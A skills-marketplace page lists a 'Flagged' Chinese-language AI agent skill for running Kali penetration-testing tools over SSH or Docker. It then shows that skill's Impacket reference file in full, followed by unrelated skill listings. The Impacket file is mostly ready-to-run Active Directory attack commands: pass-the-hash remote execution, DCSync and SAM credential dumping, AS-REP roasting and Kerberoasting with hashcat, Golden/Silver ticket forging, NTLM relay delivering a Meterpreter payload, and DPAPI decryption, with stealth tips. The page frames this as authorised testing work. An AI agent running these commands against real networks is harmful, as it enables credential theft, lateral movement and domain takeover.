Skip to content

x-glacier/kali-pentest / kali-pentest-zh

kali-pentest-zh

Flagged

通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。

FileKindSize
SKILL.mdskill md15.6 KB
references/cloud-native/README.mdmarkdown4.2 KB
references/cloud-native/tools/azurehound.mdmarkdown4.0 KB
references/cloud-native/tools/docker-bench-security.mdmarkdown1.9 KB
references/cloud-native/tools/kube-bench.mdmarkdown1.7 KB
references/cloud-native/tools/kubescape.mdmarkdown1.7 KB
references/cloud-native/tools/pacu.mdmarkdown3.0 KB
references/cloud-native/tools/peirates.mdmarkdown6.4 KB
references/cloud-native/tools/prowler.mdmarkdown1.5 KB
references/cloud-native/tools/scoutsuite.mdmarkdown1.2 KB
references/environment/README.mdmarkdown1.4 KB
references/environment/docker-mode-networking.mdmarkdown2.2 KB
references/environment/docker-mode-persistent-container.mdmarkdown3.8 KB
references/environment/docker-mode.mdmarkdown2.0 KB
references/environment/local-mode.mdmarkdown946 B
references/environment/server-mode.mdmarkdown4.1 KB
references/environment/state-files.mdmarkdown2.3 KB
references/exploitation/README.mdmarkdown9.6 KB
references/exploitation/tools/chisel.mdmarkdown3.2 KB
references/exploitation/tools/coercer.mdmarkdown2.5 KB
references/exploitation/tools/dns2tcp.mdmarkdown3.8 KB
references/exploitation/tools/evil-winrm.mdmarkdown2.9 KB
references/exploitation/tools/evilginx2.mdmarkdown2.2 KB
references/exploitation/tools/getsploit.mdmarkdown2.0 KB
references/exploitation/tools/gophish.mdmarkdown6.1 KB
references/exploitation/tools/impacket.mdmarkdown10.9 KB
references/exploitation/tools/iodine.mdmarkdown3.5 KB
references/exploitation/tools/ligolo-ng.mdmarkdown3.3 KB
references/exploitation/tools/metasploit.mdmarkdown11.0 KB
references/exploitation/tools/mitm6.mdmarkdown2.6 KB
references/exploitation/tools/msfconsole.mdmarkdown3.9 KB
references/exploitation/tools/msfvenom.mdmarkdown8.5 KB
references/exploitation/tools/mssqlpwner.mdmarkdown2.5 KB
references/exploitation/tools/netcat.mdmarkdown4.4 KB
references/exploitation/tools/odat.mdmarkdown3.0 KB
references/exploitation/tools/proxytunnel.mdmarkdown2.2 KB
references/exploitation/tools/routersploit.mdmarkdown2.9 KB
references/exploitation/tools/searchsploit.mdmarkdown4.7 KB
references/exploitation/tools/setoolkit.mdmarkdown1015 B
references/exploitation/tools/smbclient.mdmarkdown2.8 KB
references/exploitation/tools/socat.mdmarkdown2.8 KB
references/exploitation/tools/veil.mdmarkdown2.9 KB
references/forensics/README.mdmarkdown8.8 KB
references/forensics/tools/bulk-extractor.mdmarkdown4.5 KB
references/forensics/tools/chainsaw.mdmarkdown2.6 KB
references/forensics/tools/chkrootkit.mdmarkdown2.6 KB
references/forensics/tools/dc3dd.mdmarkdown2.9 KB
references/forensics/tools/dcfldd.mdmarkdown3.2 KB
references/forensics/tools/ddrescue.mdmarkdown3.6 KB
references/forensics/tools/exiftool.mdmarkdown2.5 KB
references/forensics/tools/foremost.mdmarkdown2.4 KB
references/forensics/tools/hashdeep.mdmarkdown3.5 KB
references/forensics/tools/plaso.mdmarkdown3.7 KB
references/forensics/tools/regripper.mdmarkdown3.4 KB
references/forensics/tools/rkhunter.mdmarkdown3.4 KB
references/forensics/tools/scalpel.mdmarkdown2.6 KB
references/forensics/tools/sleuthkit.mdmarkdown4.0 KB
references/forensics/tools/ssdeep.mdmarkdown3.1 KB
references/forensics/tools/steghide.mdmarkdown2.8 KB
references/forensics/tools/stegseek.mdmarkdown2.5 KB
references/forensics/tools/tcpdump.mdmarkdown2.8 KB
references/forensics/tools/tcpflow.mdmarkdown3.4 KB
references/forensics/tools/testdisk.mdmarkdown3.0 KB
references/forensics/tools/tshark.mdmarkdown3.0 KB
references/forensics/tools/volatility.mdmarkdown5.0 KB
references/forensics/tools/yara.mdmarkdown3.3 KB
references/information-gathering/README.mdmarkdown15.6 KB
references/information-gathering/tools/altdns.mdmarkdown1.9 KB
references/information-gathering/tools/amass.mdmarkdown9.1 KB
references/information-gathering/tools/arp-scan.mdmarkdown1.9 KB
references/information-gathering/tools/assetfinder.mdmarkdown1.9 KB
references/information-gathering/tools/autorecon.mdmarkdown2.9 KB
references/information-gathering/tools/certgraph.mdmarkdown3.3 KB
references/information-gathering/tools/cloud-enum.mdmarkdown2.1 KB
references/information-gathering/tools/cloudbrute.mdmarkdown2.1 KB
references/information-gathering/tools/dig.mdmarkdown2.3 KB
references/information-gathering/tools/dmitry.mdmarkdown2.0 KB
references/information-gathering/tools/dnsenum.mdmarkdown1.7 KB
references/information-gathering/tools/dnsgen.mdmarkdown1.5 KB
references/information-gathering/tools/dnsmap.mdmarkdown1.8 KB
references/information-gathering/tools/dnsrecon.mdmarkdown2.7 KB
references/information-gathering/tools/dnstwist.mdmarkdown3.0 KB
references/information-gathering/tools/dnsx.mdmarkdown2.8 KB
references/information-gathering/tools/eyewitness.mdmarkdown2.4 KB
references/information-gathering/tools/fierce.mdmarkdown2.5 KB
references/information-gathering/tools/finalrecon.mdmarkdown2.4 KB
references/information-gathering/tools/findomain.mdmarkdown2.5 KB
references/information-gathering/tools/fping.mdmarkdown2.3 KB
references/information-gathering/tools/getallurls.mdmarkdown2.4 KB
references/information-gathering/tools/gowitness.mdmarkdown4.8 KB
references/information-gathering/tools/h8mail.mdmarkdown3.9 KB
references/information-gathering/tools/hakrawler.mdmarkdown2.3 KB
references/information-gathering/tools/hosthunter.mdmarkdown2.6 KB
references/information-gathering/tools/httprobe.mdmarkdown2.1 KB
references/information-gathering/tools/httpx.mdmarkdown4.6 KB
references/information-gathering/tools/ldeep.mdmarkdown4.9 KB
references/information-gathering/tools/masscan.mdmarkdown3.8 KB
references/information-gathering/tools/massdns.mdmarkdown1.9 KB
references/information-gathering/tools/metagoofil.mdmarkdown3.0 KB
references/information-gathering/tools/naabu.mdmarkdown2.7 KB
references/information-gathering/tools/nbtscan.mdmarkdown2.2 KB
references/information-gathering/tools/netdiscover.mdmarkdown2.6 KB
references/information-gathering/tools/nmap.mdmarkdown8.4 KB
references/information-gathering/tools/p0f.mdmarkdown2.1 KB
references/information-gathering/tools/recon-ng.mdmarkdown6.6 KB
references/information-gathering/tools/sherlock.mdmarkdown3.7 KB
references/information-gathering/tools/shodan.mdmarkdown3.6 KB
references/information-gathering/tools/spiderfoot.mdmarkdown2.7 KB
references/information-gathering/tools/subfinder.mdmarkdown2.5 KB
references/information-gathering/tools/sublist3r.mdmarkdown1.9 KB
references/information-gathering/tools/theHarvester.mdmarkdown2.9 KB
references/information-gathering/tools/trufflehog.mdmarkdown3.1 KB
references/information-gathering/tools/wafw00f.mdmarkdown1.9 KB
references/information-gathering/tools/whatweb.mdmarkdown5.1 KB
references/information-gathering/tools/whois.mdmarkdown2.0 KB
references/password/README.mdmarkdown11.8 KB
references/password/tools/brutespray.mdmarkdown2.8 KB
references/password/tools/cewl.mdmarkdown2.1 KB
references/password/tools/changeme.mdmarkdown3.0 KB
references/password/tools/chntpw.mdmarkdown2.5 KB
references/password/tools/crowbar.mdmarkdown2.6 KB
references/password/tools/crunch.mdmarkdown2.7 KB
references/password/tools/fcrackzip.mdmarkdown2.3 KB
references/password/tools/gpp-decrypt.mdmarkdown2.6 KB
references/password/tools/hashcat.mdmarkdown4.6 KB
references/password/tools/hashid.mdmarkdown2.1 KB
references/password/tools/hydra.mdmarkdown4.4 KB
references/password/tools/john.mdmarkdown3.2 KB
references/password/tools/kerbrute.mdmarkdown2.8 KB
references/password/tools/medusa.mdmarkdown3.3 KB
references/password/tools/name-that-hash.mdmarkdown3.2 KB
references/password/tools/ncrack.mdmarkdown3.3 KB
references/password/tools/netexec.mdmarkdown3.2 KB
references/password/tools/patator.mdmarkdown2.2 KB
references/password/tools/pdfcrack.mdmarkdown2.9 KB
references/password/tools/rainbowcrack.mdmarkdown2.9 KB
references/password/tools/responder.mdmarkdown2.7 KB
references/playbooks/README.mdmarkdown8.1 KB
references/playbooks/active-directory.mdmarkdown14.0 KB
references/playbooks/api-security.mdmarkdown18.6 KB
references/playbooks/cloud-native-assessment.mdmarkdown17.6 KB
references/playbooks/external-attack-surface.mdmarkdown8.1 KB
references/playbooks/forensics-triage.mdmarkdown11.7 KB
references/playbooks/internal-network-protocols.mdmarkdown6.5 KB
references/playbooks/internal-network.mdmarkdown14.4 KB
references/playbooks/mobile-application.mdmarkdown9.8 KB
references/playbooks/password-audit.mdmarkdown9.0 KB
references/playbooks/post-exploitation.mdmarkdown11.4 KB
references/playbooks/reporting-workflow.mdmarkdown6.3 KB
references/playbooks/rfid-nfc.mdmarkdown7.2 KB
references/playbooks/source-code-audit.mdmarkdown8.4 KB
references/playbooks/voip-ics.mdmarkdown17.3 KB
references/playbooks/web-application.mdmarkdown14.7 KB
references/playbooks/wireless-assessment.mdmarkdown9.6 KB
references/post-exploitation/README.mdmarkdown11.0 KB
references/post-exploitation/tools/bloodhound.mdmarkdown4.8 KB
references/post-exploitation/tools/bloodhound.py.mdmarkdown4.0 KB
references/post-exploitation/tools/bloodyad.mdmarkdown4.1 KB
references/post-exploitation/tools/certipy-ad.mdmarkdown3.2 KB
references/post-exploitation/tools/dnscat2.mdmarkdown3.5 KB
references/post-exploitation/tools/dploot.mdmarkdown4.2 KB
references/post-exploitation/tools/havoc.mdmarkdown3.8 KB
references/post-exploitation/tools/hekatomb.mdmarkdown3.0 KB
references/post-exploitation/tools/krbrelayx.mdmarkdown7.3 KB
references/post-exploitation/tools/lapsdumper.mdmarkdown2.4 KB
references/post-exploitation/tools/linpeas.mdmarkdown3.6 KB
references/post-exploitation/tools/linux-exploit-suggester.mdmarkdown2.8 KB
references/post-exploitation/tools/lsassy.mdmarkdown2.8 KB
references/post-exploitation/tools/mimikatz.mdmarkdown4.2 KB
references/post-exploitation/tools/powershell-empire.mdmarkdown4.0 KB
references/post-exploitation/tools/powersploit.mdmarkdown5.5 KB
references/post-exploitation/tools/proxychains.mdmarkdown2.1 KB
references/post-exploitation/tools/pspy.mdmarkdown2.8 KB
references/post-exploitation/tools/pwncat.mdmarkdown6.4 KB
references/post-exploitation/tools/sliver.mdmarkdown1.4 KB
references/post-exploitation/tools/sshuttle.mdmarkdown3.2 KB
references/post-exploitation/tools/winpeas.mdmarkdown3.0 KB
references/reporting/README.mdmarkdown2.5 KB
references/reporting/tools/pandoc.mdmarkdown3.2 KB
references/reporting/tools/report-template.mdmarkdown8.5 KB
references/reverse-engineering/README.mdmarkdown5.6 KB
references/reverse-engineering/tools/apktool.mdmarkdown1.8 KB
references/reverse-engineering/tools/binwalk.mdmarkdown3.0 KB
references/reverse-engineering/tools/checksec.mdmarkdown3.5 KB
references/reverse-engineering/tools/dex2jar.mdmarkdown3.2 KB
references/reverse-engineering/tools/frida.mdmarkdown2.4 KB
references/reverse-engineering/tools/ghidra-headless.mdmarkdown3.0 KB
references/reverse-engineering/tools/jadx.mdmarkdown2.2 KB
references/reverse-engineering/tools/ldd.mdmarkdown1.9 KB
references/reverse-engineering/tools/nm.mdmarkdown2.3 KB
references/reverse-engineering/tools/objdump.mdmarkdown2.5 KB
references/reverse-engineering/tools/objection.mdmarkdown3.0 KB
references/reverse-engineering/tools/rabin2.mdmarkdown2.3 KB
references/reverse-engineering/tools/radare2.mdmarkdown1.3 KB
references/reverse-engineering/tools/readelf.mdmarkdown2.3 KB
references/reverse-engineering/tools/ropper.mdmarkdown4.1 KB
references/reverse-engineering/tools/strings.mdmarkdown2.3 KB
references/reverse-engineering/tools/xxd.mdmarkdown2.3 KB
references/rfid-nfc/README.mdmarkdown2.7 KB
references/rfid-nfc/tools/libnfc.mdmarkdown2.2 KB

references/exploitation/tools/impacket.md

View on GitHub
# Impacket

- **Category**: Exploitation / Windows Protocol Attacks
- **Risk Level**: 🔴 Critical

---

## 描述

Impacket 是一组用于处理网络协议的 Python 类集合,最初由 SecureAuth 创建,现由 Fortra 维护。它提供对数据包的底层编程访问,并对某些协议(SMB1-3、MSRPC)提供协议实现本身。其内置的大量工具脚本是 Active Directory 渗透测试的核心武器,涵盖哈希传递、票据传递、远程执行、密钥提取等关键技术。

## 安装

```bash
impacket-secretsdump --help

# pip 安装最新版
pip3 install impacket

# 从源码安装(fortra 是当前的 GitHub 组织;SecureAuth 已将项目转移给 Fortra)
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

impacket-psexec --help   # Kali 将工具包装为 impacket-<name>
```

## 参数说明

| 参数 | 说明 |
|-------------|------|
| `impacket-<tool>` | Kali 中的 Impacket 命令包装格式,如 `impacket-psexec` 或 `impacket-secretsdump` |
| `domain/user:password@target` | 常用凭据与目标语法 |
| `domain/user@target -hashes LMHASH:NTHASH` | NTLM 哈希,格式为 LMHASH:NTHASH |
| `-dc-ip <ip>` | Kerberos/AD 操作使用的域控 IP |
| `-target-ip <ip>` | 目标名称与连接 IP 不一致时指定主机 IP |
| `-k` | 使用 Kerberos 认证 |
| `-no-pass` | 不询问密码(配合 -k 使用) |
| `-debug` | 启用详细调试输出 |

## 常用命令

### 核心工具详解

#### psexec / smbexec / wmiexec - 远程代码执行

三个工具均可在已知凭据(密码或哈希)时在远程 Windows 系统上执行命令,区别在于实现机制。

```bash
# psexec(通过 SMB + SCM,会留下日志,最常见)
impacket-psexec domain/user:password@192.168.1.100
impacket-psexec domain/user@192.168.1.100 -hashes :NThash    # PTH 攻击
impacket-psexec ./administrator:password@192.168.1.100        # 本地用户

# smbexec(SMB + 服务,交互式,较隐蔽)
impacket-smbexec domain/user:password@192.168.1.100
impacket-smbexec domain/user@192.168.1.100 -hashes :NThash
impacket-smbexec -no-pass domain/user@192.168.1.100           # Null Session

# wmiexec(WMI,半交互式,不写磁盘,更隐蔽)
impacket-wmiexec domain/user:password@192.168.1.100
impacket-wmiexec domain/user@192.168.1.100 -hashes :NThash
impacket-wmiexec -shell-type powershell domain/user:password@192.168.1.100

# atexec(计划任务执行,单命令)
impacket-atexec domain/user:password@192.168.1.100 whoami
impacket-atexec domain/user@192.168.1.100 -hashes :NThash "dir C:\\"

# dcomexec(DCOM 执行,最隐蔽之一)
impacket-dcomexec domain/user:password@192.168.1.100
```

#### secretsdump - 凭据提取

最强大的远程凭据提取工具,可转储 SAM、LSA Secrets、NTDS.dit 哈希。

```bash
# 远程提取 SAM 和 LSA Secrets(需要管理员权限)
impacket-secretsdump domain/user:password@192.168.1.100

# 哈希传递方式认证
impacket-secretsdump domain/user@192.168.1.100 -hashes LMHASH:NTHASH

# 从域控提取所有用户哈希(DCSync 攻击)
impacket-secretsdump domain/user:password@dc.domain.com -just-dc
impacket-secretsdump domain/user:password@dc.domain.com -just-dc-ntlm
impacket-secretsdump domain/user:password@dc.domain.com -just-dc-user Administrator

# 导出到文件
impacket-secretsdump domain/user:password@192.168.1.100 -outputfile dump

# 从本地文件提取(需要先获取 NTDS.dit 和 SYSTEM)
impacket-secretsdump -ntds /tmp/ntds.dit -system /tmp/SYSTEM LOCAL

# 提取本地 SAM(需要 SYSTEM、SAM、SECURITY 文件)
impacket-secretsdump -sam /tmp/SAM -security /tmp/SECURITY -system /tmp/SYSTEM LOCAL

# 用户哈希传递 + 提取所有哈希(域管攻击链)
# 注意:-hashes 格式为 LMHASH:NTHASH;LM 可以使用空/虚拟值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:NThash domain/Administrator@dc.domain.com -just-dc-ntlm
```

#### GetNPUsers - AS-REP Roasting

获取不需要预认证的用户的 TGT(AS-REP Roasting)。

```bash
# 枚举不需要预认证的用户(需要有效域账号)
impacket-GetNPUsers domain.com/user:password -dc-ip 192.168.1.10

# 不认证枚举(如果允许 null session)
impacket-GetNPUsers domain.com/ -dc-ip 192.168.1.10 -no-pass

# 从用户列表中筛选(大批量时)
impacket-GetNPUsers domain.com/ -usersfile users.txt -dc-ip 192.168.1.10 -no-pass

# 保存可破解的哈希格式(hashcat/john 格式)
impacket-GetNPUsers domain.com/user:password -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt

# hashcat 破解
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

#### GetUserSPNs - Kerberoasting

获取 SPN 账户的 TGS 票据,离线破解服务账户密码。

```bash
# 基础 Kerberoasting
impacket-GetUserSPNs domain.com/user:password -dc-ip 192.168.1.10

# 请求 TGS 票据(可破解的格式)
impacket-GetUserSPNs domain.com/user:password -dc-ip 192.168.1.10 -request

# 保存到文件
impacket-GetUserSPNs domain.com/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt

# hashcat 破解 Kerberoast 哈希
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

#### ticketer / ticketConverter - 票据操作(Golden/Silver Ticket)

```bash
# 创建 Golden Ticket(需要 krbtgt 哈希)
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid S-1-5-21-xxx-xxx-xxx -domain domain.com Administrator

# 创建 Silver Ticket(针对特定服务)
impacket-ticketer -nthash SERVICE_ACCOUNT_NT_HASH \
  -domain-sid S-1-5-21-xxx-xxx-xxx \
  -domain domain.com \
  -spn cifs/server.domain.com \
  -user-id 500 \
  Administrator

# 导出票据并使用
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.com/Administrator@server.domain.com

# 转换票据格式(ccache ↔ kirbi)
impacket-ticketConverter Administrator.ccache Administrator.kirbi
impacket-ticketConverter Administrator.kirbi Administrator.ccache
```

#### smbclient - SMB 文件操作

```bash
# 连接 SMB 共享
impacket-smbclient domain/user:password@192.168.1.100

# 列出共享
impacket-smbclient domain/user:password@192.168.1.100 -no-pass  # Null Session 枚举
# 在 smbclient shell 中:
# shares    - 列出共享
# use C$    - 切换到 C$ 共享
# ls        - 列出文件
# get file  - 下载文件
# put file  - 上传文件
# cd path   - 切换目录

# 哈希传递
impacket-smbclient domain/user@192.168.1.100 -hashes :NThash
```

#### GetADUsers - AD 用户枚举

```bash
# 枚举所有 AD 用户
impacket-GetADUsers domain.com/user:password -all -dc-ip 192.168.1.10

# 只显示活跃用户
impacket-GetADUsers domain.com/user:password -dc-ip 192.168.1.10

# 导出到 CSV
impacket-GetADUsers domain.com/user:password -all -dc-ip 192.168.1.10 | tee users.txt
```

#### samrdump / lookupsid - 枚举工具

```bash
# SAM 数据库枚举(不需要管理员权限)
impacket-samrdump domain/user:password@192.168.1.100

# 枚举域用户
impacket-samrdump -port 139 domain/user:password@192.168.1.100

# lookupsid(SID 枚举)
impacket-lookupsid domain/user:password@192.168.1.100
impacket-lookupsid domain/user@192.168.1.100 -no-pass  # Null Session
```

#### ntlmrelayx - NTLM 中继攻击

```bash
# 基础 NTLM 中继(中继到目标执行命令)
impacket-ntlmrelayx -t 192.168.1.100 -smb2support

# 仅中继(禁用内置 HTTP 服务器以避免冲突)
impacket-ntlmrelayx -t 192.168.1.100 -smb2support --no-http-server

# 中继到多个目标
impacket-ntlmrelayx -tf targets.txt -smb2support

# 中继执行命令
impacket-ntlmrelayx -t 192.168.1.100 -smb2support -c "whoami"

# 中继获取 Meterpreter(配合 MSF)
impacket-ntlmrelayx -t 192.168.1.100 -smb2support -e /tmp/payload.exe

# 中继到 LDAP(创建域管账号)
impacket-ntlmrelayx -t ldap://dc.domain.com --delegate-access

# 中继到 AD CS Web 注册实现 ESC8(以被中继的机器身份申请证书)
impacket-ntlmrelayx -t http://<ca-host>/certsrv/certfnsh.asp -smb2support --adcs --template 'Machine'
```

#### dpapi - DPAPI 凭据解密

```bash
# 提取 DPAPI 主密钥
impacket-dpapi masterkey -file /path/to/masterkey -sid S-1-5-21-xxx-500 -password "userpassword"

# 解密 Chrome 密码
impacket-dpapi credential -file /path/to/credential -key masterkey

# 从域控获取备份密钥
impacket-dpapi backupkeys -t dc.domain.com domain.com/user:password --export
```

#### rpcdump - RPC 端点枚举

```bash
# 枚举 RPC 端点
impacket-rpcdump 192.168.1.100

# 过滤感兴趣的接口(如 MSRPC 任务调度程序)
impacket-rpcdump 192.168.1.100 | grep -i 'MS-TSCH\|MS-EVEN\|MS-DFSNM'
```

#### mssqlclient - 交互式 MSSQL 客户端

```bash
# SQL 认证连接
impacket-mssqlclient sa:password@192.168.1.100

# Windows 认证连接
impacket-mssqlclient domain/user:password@192.168.1.100 -windows-auth

# 启用并使用 xp_cmdshell 执行操作系统命令
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
```

#### Get-GPPPassword - 组策略首选项密码提取

```bash
# 从 SYSVOL 提取 GPP 密码
impacket-Get-GPPPassword domain/user:password@dc.domain.com

# 使用 Pass-the-Hash
impacket-Get-GPPPassword domain/user@dc.domain.com -hashes :NThash
```

### 完整 Impacket 工具列表

| 工具 | 用途 |
|------|------|
| `psexec` | SMB + SCM 远程执行 |
| `smbexec` | SMB 服务远程执行 |
| `wmiexec` | WMI 远程执行 |
| `atexec` | 计划任务远程执行 |
| `dcomexec` | DCOM 远程执行 |
| `secretsdump` | 凭据提取(SAM/LSA/NTDS)|
| `GetNPUsers` | AS-REP Roasting |
| `GetUserSPNs` | Kerberoasting |
| `ticketer` | 创建 Golden/Silver Ticket |
| `ticketConverter` | 票据格式转换 |
| `smbclient` | SMB 文件客户端 |
| `mssqlclient` | 交互式 MSSQL 客户端,支持 Windows/SQL 认证 |
| `GetADUsers` | AD 用户枚举 |
| `samrdump` | SAM 枚举 |
| `lookupsid` | SID 枚举 |
| `ntlmrelayx` | NTLM 中继攻击 |
| `dpapi` | DPAPI 凭据解密 |
| `Get-GPPPassword` | 从 SYSVOL 提取组策略首选项密码 |
| `reg` | 远程注册表操作 |
| `rpcdump` | RPC 端点枚举 |
| `ifmap` | RPC 接口映射 |
| `epmapper` | 端点映射器 |

## 注意事项

1. **DCSync 攻击**:`secretsdump -just-dc` 需要域管权限或 DS-Replication-Get-Changes 权限。
2. **OPSEC**:`wmiexec` 比 `psexec` 更隐蔽(不写磁盘,不创建服务),优先使用。
3. **Kerberos 认证**:导出票据后设置 `KRB5CCNAME` 环境变量,配合 `-k -no-pass` 参数使用。
4. **哈希传递格式**:Impacket 使用 `LMHASH:NTHASH` 格式;LM 哈希未知时,使用 `aad3b435b51404eeaad3b435b51404ee`(空 LM 哈希常量)作为占位符,例如 `aad3b435b51404eeaad3b435b51404ee:NThash`。
5. **时钟同步**:Kerberos 攻击要求时钟与域控同步(±5 分钟),使用 `sudo ntpdate dc.domain.com` 或 `sudo ntpdate -u dc.domain.com` 同步。
6. **防火墙穿透**:多数工具支持 `-port` 参数指定非标准端口。

---

## 官方参考

- [impacket GitHub](https://github.com/fortra/impacket)
- [impacket README](https://github.com/fortra/impacket/blob/master/README.md)
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall